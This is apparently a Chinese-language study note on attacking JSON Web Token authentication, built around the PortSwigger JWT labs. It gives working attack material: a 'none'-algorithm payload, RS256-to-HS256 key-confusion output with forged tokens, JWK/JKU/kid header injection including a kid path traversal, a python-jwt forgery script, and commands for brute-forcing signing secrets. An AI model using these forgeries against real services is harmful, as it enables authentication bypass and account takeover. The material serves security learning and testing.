JWT

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的 cookie + session 身份验证方法。

JWT由三个部分组成:header.payload.signature

header部分最常用的两个字段是 algtypalg指定了token加密使用的算法(最常用的为HMACRSA算法),typ声明类型为JWT。

payload则为用户数据以及一些元数据有关的声明,用以声明权限。

signature的功能是保护token完整性。

生成方法为将header和payload两个部分联结起来,然后通过header部分指定的算法,计算出签名。

抽象成公式就是:

1
signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

值得注意的是,编码 header 和 payload 时使用的编码方式为 base64urlencodebase64url 编码是 base64 的修改版,为了方便在网络中传输使用了不同的编码表,它不会在末尾填充 ”=” 号,并将标准Base64中的 ”+” 和 ”/“ 分别改成了 ”-“ 和 ”_“。

在线 jwt 编辑网站:

JSON Web Tokens - jwt.io

python脚本:

1
2
3
4
5
import jwt

encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', algorithm='HS256')
print(encoded_jwt)
print(jwt.decode(encoded_jwt, 'key', algorithms=['HS256']))

简单介绍后,本文将主要依据:portswigger JWT labs 进行阐述。

相关CVE测试工具:z-bool/Venom-JWT: 针对JWT渗透开发的漏洞验证/密钥爆破工具,针对CVE-2015-9235/空白密钥/未验证签名攻击/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042的结果生成用于FUZZ,也可使用字典/字符枚举(包括JJWT)的方式进行爆破(JWT Crack)

任意签名/无验签绕过

空算法绕过

1
2
3
4
5
6
7
8
{
"alg" : "None",
"typ" : "jwt"
}

{
"user" : "Admin"
}

算法混淆+泄露公钥

RSA:非对称加密算法

HMAC:对称加密算法

一般来说,RSA 的 publicKey 都是用来加密然后服务端用 secretKey 解密,如果我们能得到 publicKey 并修改算法为 HMAC 就可以用这个 Key 来 加密/解密。

标头参数注入

通过 JWK参数/JKU参数/kid参数 注入自签名的JWT。

JWK

mkjwk - JSON Web 密钥生成器 — mkjwk - JSON Web Key Generator

使用 bp 插件 JWT-editor:

  1. 加载扩展后,在 Burp 的主选项卡栏中,转到 JWT 编辑器键选项卡。
  2. 生成新的 RSA 密钥。
  3. 向 Burp Repeater 发送包含 JWT 的请求。
  4. 在消息编辑器中,切换到扩展生成的JSON Web Token选项卡并根据需要修改令牌的有效负载。
  5. 单击攻击,然后选择嵌入式 JWK。出现提示时,选择新生成的 RSA 密钥。
  6. 发送请求来测试服务器如何响应。

JKU

一些服务器不直接使用标头参数嵌入公钥jwk,而是允许您使用jku(JWK Set URL) 标头参数来引用包含密钥的 JWK Set。验证签名时,服务器会从此 URL 获取相关密钥。(相当于远程的 JWK

kid

kid 注入 ../../../../dev/null,key设为 AA==(空)。

算法混淆+爆破公钥

1
2
3
4
5
6
7
8
docker run --rm -it portswigger/sig2n eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InUxIiwicHJpdmlsZWRnZSI6IlRlbXAgVXNlciIsImlhdCI6MTc2NzAxMjk5OX0.mQCB8djcLNr-9xEtwbGOOjvfMwMgDMCfqxaaVGdnA5O0clSDHRYMEPczR8UJdWi4kVQHgRvygZEtwCZgEY48NyVMBKPGIAXHTZMz3nPHkxlqyu8fOKu-kStMVHyGmGuXACssWXWxjiecd0jWGNGorKMICk9KIkfHl5IonpO11Bi9hjqWmEAAqIe94A2rwDMVeZ-5DxGqgTjkbCpXDB_-qMklbYCGK5yoElgVU1eB3aZEq0RjzcvAorZoVaHznhwpohJKsJ2-dxn9IxzTQBVgzmYBYgRnEjx7dt1HxJDYU22HqQ4TYJTrv7YpoNwWIWj3IYBYvbV0LrRYH_ICWP1Lhw eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InUyIiwicHJpdmlsZWRnZSI6IlRlbXAgVXNlciIsImlhdCI6MTc2NzAxMjk5OX0.nWN9x1qFoaGVjGqZFUI4AxX_QzsalgyFofX-FQ0g--vIVkJAKDjz4dMGnf0YEWevO9jK8G4tFxyA3evLGcLVWCYNPd09WMGLJ01QpbOnP1yXpaXW8xPRDlkSpiJEaKHRVO3WNBV_HIcYQD4R9e3J3CWgLeAaKfQQvmhfuud7JNbiQl_vGAKmXNhS7gCxkhKDoPwwCMRF6vBk3xcKziOanCqnrzC-J43zoRkV8BnHGg6A4LWCE07S5ij36zH7cy0P9whea4bNl0JVCpHww_IGxgpyh00icvBu3i_pzik0l6LALnrBd5AfyB4su15ak1SM1QrtJ19ScoPxYOwu7qYs1A
Running command: python3 jwt_forgery.py <token1> <token2>

Found n with multiplier 1:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFybmppZmcwOGtGZ0pacGYvYjg0egpad1d1bS9aLzRGOXg1SlcxdUhlK2d5VUFvRUt2VklRTHc4aUV6STF0MVZ5UUVjVE5tTE41YnFKS1YyVUQ4ZXV2CkNUbHBiQWRZMWRKN0xHbFFITXdlZW9ydjE1eWVJbDl3M0tyaWNWYk9HenlQYWRNUmRlNTdDZ201ZjhYS3czMkMKSGRKNjFrczZNZjVyOTdlSjl0MnBDYS9BcUFSanJkajFUR2k5UWFaZis4VXRYdlBRbVBVS09DeU40clRCV0JycQorVWI3QnhXYk9nQy9NblRxVkdQbjVIZWtlMmRtTEV2TnJGNGs4czVSeDNaWXdXRWU1WVNpMUFocXdkRzBjVXRVCkc1MWhNNnFxQXQ3YzV1Q1E4UGMzQUlleWdiVDZ4L3VsT3JDK0hISmdDUlkxRGhGTzl4L1B1N1ZBREt4OWZJUnMKcFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJ1MSIsICJwcml2aWxlZGdlIjogIlRlbXAgVXNlciIsICJpYXQiOiAxNzY3MDEyOTk5LCAiZXhwIjogMTc2NzA5OTU1Mn0.DtRNEP2NfgpZrdDiMJ087s-X70ggwtjP8n8B3H5odgM
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXJuamlmZzA4a0ZnSlpwZi9iODR6WndXdW0vWi80Rjl4NUpXMXVIZStneVVBb0VLdlZJUUwKdzhpRXpJMXQxVnlRRWNUTm1MTjVicUpLVjJVRDhldXZDVGxwYkFkWTFkSjdMR2xRSE13ZWVvcnYxNXllSWw5dwozS3JpY1ZiT0d6eVBhZE1SZGU1N0NnbTVmOFhLdzMyQ0hkSjYxa3M2TWY1cjk3ZUo5dDJwQ2EvQXFBUmpyZGoxClRHaTlRYVpmKzhVdFh2UFFtUFVLT0N5TjRyVEJXQnJxK1ViN0J4V2JPZ0MvTW5UcVZHUG41SGVrZTJkbUxFdk4KckY0azhzNVJ4M1pZd1dFZTVZU2kxQWhxd2RHMGNVdFVHNTFoTTZxcUF0N2M1dUNROFBjM0FJZXlnYlQ2eC91bApPckMrSEhKZ0NSWTFEaEZPOXgvUHU3VkFES3g5ZklSc3BRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
Tampered JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJ1MSIsICJwcml2aWxlZGdlIjogIlRlbXAgVXNlciIsICJpYXQiOiAxNzY3MDEyOTk5LCAiZXhwIjogMTc2NzA5OTU1Mn0.4Ha-maWy7mC3Eo8GBrZyxCTb4k04zg5xrqyct8WAVzU

python-jwt < 3.3.4

1
2
3
4
5
6
7
8
9
10
11
12
from json import *
from python_jwt import *
from jwcrypto import jwk

jwt_json = "获取到的jwt"
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
#这里键值对根据需要修改
parsed_payload['role'] = "i am not guest"
fake = base64url_encode(dumps(parsed_payload))
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)

KEY爆破

gojwtcrack

1
./gojwtcrack -t token.txt -d rockyou.txt

c-jwt-cracker

1
./jwtcrack [JWT]

jwt_tool

1
python3 jwt_tool.py [JWT]

CrackJWTKey

1
python3 CrackJWT.py jwt_str keys.txt